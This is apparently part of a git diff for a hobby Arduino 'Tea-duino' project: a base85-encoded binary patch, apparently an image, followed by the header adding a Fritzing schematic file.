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 TOexJ800000NkvXXu0mjf{+LK8 literal 0 HcmV?d00001 diff --git a/Projects/Tea-duino Main/Schematics/Tea-Duino Schematic.fzz b/Projects/Tea-duino Main/Schematics/Tea-Duino Schematic.fzz new file mode 100755 index 0000000000000000000000000000000000000000..47206769cd913367ee849e7457e0bc4c87b557c8 GIT binary patch literal 10702 